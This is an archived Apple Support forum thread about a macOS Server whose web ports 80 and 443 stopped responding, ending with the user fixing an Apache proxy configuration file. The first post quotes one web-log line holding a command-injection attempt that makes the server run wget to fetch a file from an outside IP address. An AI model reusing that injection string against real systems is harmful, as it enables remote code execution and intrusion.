Benches macOS

16

ports 80 and 443 suddenly closed on macos…

apple Verified

Imported from the Apple Support Forums via the Wayback Machine 🔗

short story

Ports 80 & 443 seems to be closed on my MacOS Server (checked with Network Utility) -- cannot access any website from both local network and internet.

Have restarted the websites service & rebooted the server few times.

How to re-open ports 80 & 443? 

long story

I have couple of websites hosted on my MacOS Server with the Websites service.

It was working okay until 2 days ago.

Yesterday I realised that I wasn't able to access any of the server's website neither via local network nor from the internet. After the investigation I realised that ports 80 and 443 aren't open on the server machine.

I have restarted the server couple of times, turned off and back on the Websites service, no change.

I cannot see anything too bad in the logs, apart from kinda weird request that seems to be the last access to the web server from the 'outside' world and reads as follows:

default 88.207.212.19 - - [23/Feb/2019:11:59:10 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://128.199.251.119/t.php%27$ HTTP/1.1" 302 331 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"

I run the older version of Server app - 5.6.3 on MacOS 10.13.6

I have not installed/updated nor changed anything on the Server or my local network in past few days.

16 replies

Sign in or join Beachball Help to reply.

  1. 0

    BDAqua

    Imported from the Apple Support Forums via the Wayback Machine 🔗

    I don't see any clues there as to why those ports are closed, I am feeling some pain for you after seeing it's soldered on 4GB of RAM that isn't upgradable with 1.5GB used for Video, tied to the slowest CPU Apple has used in 14 years.

    Apple’s macOS Server 5.x has a rather different Apache configuration compared to the core macOS setup or those used in previous versions of Server. In particular, an instance of Apache is used as a proxy to any ‘backend’ copies of Apache. Here’s how to work around this…

    https://blog.beezwax.net/2017/07/17/removing-macos-server-5-on-port-80-and-443-conflict/

  2. 0

    BDAqua

    Imported from the Apple Support Forums via the Wayback Machine 🔗

    Great work. It doesn't look like it's possible to decrease the VRAM...

    https://apple.stackexchange.com/questions/274138/decrease-gpu-memory-on-macbook-air

  3. 0

    req7777

    Imported from the Apple Support Forums via the Wayback Machine 🔗

    **update**

    I've noticed that I have a loads of entries in the server's system log:

    `... com.apple.xpc.launchd[1] (com.apple.serviceproxy[__various port numbers__]): Service exited with abnormal code: 1`

    `... com.apple.xpc.launchd[1] (com.apple.serviceproxy): Service only ran for 0 seconds. Pushing respawn out by 10 seconds.`

    regardless of websites service running or not

  4. 0

    BDAqua

    Imported from the Apple Support Forums via the Wayback Machine 🔗

    Post a report from this please...

    EtreCheck is a simple little app to display the important details of your system configuration and allow you to copy that information to the Clipboard. It is meant to be used with Apple Support Communities to help people help you with your Mac.

    http://www.etresoft.com/etrecheck

  5. 0

    req7777

    Imported from the Apple Support Forums via the Wayback Machine 🔗

    @BDAqua Thanks for response

    Etrecheck report:

    https://pastebin.com/GjyBV8U6

  6. 0

    BobTheFisherman

    Imported from the Apple Support Forums via the Wayback Machine 🔗

    Use the Add More Text icon in the response area to post your report here in the community.

  7. 0

    BDAqua

    Imported from the Apple Support Forums via the Wayback Machine 🔗

    I don't see any clues there as to why those ports are closed, I am feeling some pain for you after seeing it's soldered on 4GB of RAM that isn't upgradable with 1.5GB used for Video, tied to the slowest CPU Apple has used in 14 years.

    Apple’s macOS Server 5.x has a rather different Apache configuration compared to the core macOS setup or those used in previous versions of Server. In particular, an instance of Apache is used as a proxy to any ‘backend’ copies of Apache. Here’s how to work around this…

    https://blog.beezwax.net/2017/07/17/removing-macos-server-5-on-port-80-and-443-conflict/

  8. 0

    req7777

    Imported from the Apple Support Forums via the Wayback Machine 🔗

    @BDAqua Thanks for the link! It helped to solve the problem.

    Turned out that the `/Library/Server/Web/Config/Proxy/apache_serviceproxy_customsites.conf` file became corrupted.

    Luckily, there was a backup file in the same directory `/Library/Server/Web/Config/Proxy/apache_serviceproxy_customsites.conf.previous` and simple swap solved the problem! (remember to restart the Websites service)

    Not sure if this is relevant but it might:

    From Etrecheck report I’ve noticed that there was an MacOS update about the time when the problem occurred:

    2019-02-19 Security Update 2019-001 (10.13.6)

    ---

    OT: 4GB RAM is a pain, no doubt about it. Funny thing -- this Mac has been purchased from Apple website only about 2 years ago! Still regret that didn’t put £80 more to double it :/ Mobile phones have more RAM by default these days :-) I've bought it as an emergency backup machine in case my MacBook Pro fails. A lesson here, never to buy a down-of-the-line gear from Apple.

    @BDAqua, you mentioned that 1.5 GB is used for the video, do you know any trick to change it by any chance? I run this mac headless and only connect occasionally via Screen Sharing, have the dongle in the HDMI port, though, just to get a larger window via SS. Thanks.

  9. 0

    BDAqua

    Imported from the Apple Support Forums via the Wayback Machine 🔗

    Great work. It doesn't look like it's possible to decrease the VRAM...

    https://apple.stackexchange.com/questions/274138/decrease-gpu-memory-on-macbook-air

  10. 0

    req7777

    Imported from the Apple Support Forums via the Wayback Machine 🔗

    The problem came back today.

    The trick described above didn't work.

    (It might have had something to do with renewing the SSL certificate this time.)

    No sure if it's possible to 'un-solve' the previously solved question here...

  11. 0

    BDAqua

    Imported from the Apple Support Forums via the Wayback Machine 🔗

    No it's not it's possible to 'un-solve' anything here, best to start a new topic.

  12. 0

    BobTheFisherman

    Imported from the Apple Support Forums via the Wayback Machine 🔗

    You have an invalid self signed certificate.

  13. 0

    MrHoffman

    Imported from the Apple Support Forums via the Wayback Machine 🔗

    VirtualBox and Torrents and Server.app all on a 4 GB Mac configuration is... optimistic.

    With the relatively under-configured hardware here, and with the deprecation of most of Server.app at 5.7.1 and Mojave, might want to look at where you're headed.

    With what hardware and software you'll be replacing this server with, if you're not going to try to run High Sierra until you can no longer connect.

    An SSD might provide a decent performance upgrade, as at least you'll be paging to much faster storage.

  14. 0

    req7777

    Imported from the Apple Support Forums via the Wayback Machine 🔗

    @BobTheFisherman Strange, it was working fine for years, until yesterday... also it is not self-signed but Let's Encrypt one

  15. 0

    req7777

    Imported from the Apple Support Forums via the Wayback Machine 🔗

    @MrHoffman The Torrent and VirtualBox aren't in use. Just installed it to test something.

    The only running apps are usually MacMail, PlexServer and GoodSync.

    Not sure what you mean by running the Server.app on it, I usually connect via local network, sometimes from internet, with a macbook pro and run the server.app there.

    The Server was working reasonably ok. Slow at times but stable, for few years, certainly never had a problem with ports suddenly being closed.

    Surely will look for some other solution in the future, most likely linux for the websites, mail and dns.

  16. 0

    req7777

    Imported from the Apple Support Forums via the Wayback Machine 🔗

    Ok, this time I’ve managed to repair Website service (and open ports 80 and 443) by commenting the last line of the following config file: /Library/Server/Web/Config/Proxy/apache_serviceproxy.conf

    #IncludeOptional /Library/Server/Web/Config/Proxy/apache_serviceproxy_customsites*.conf
    

    Not sure how long that'll last this time ;-)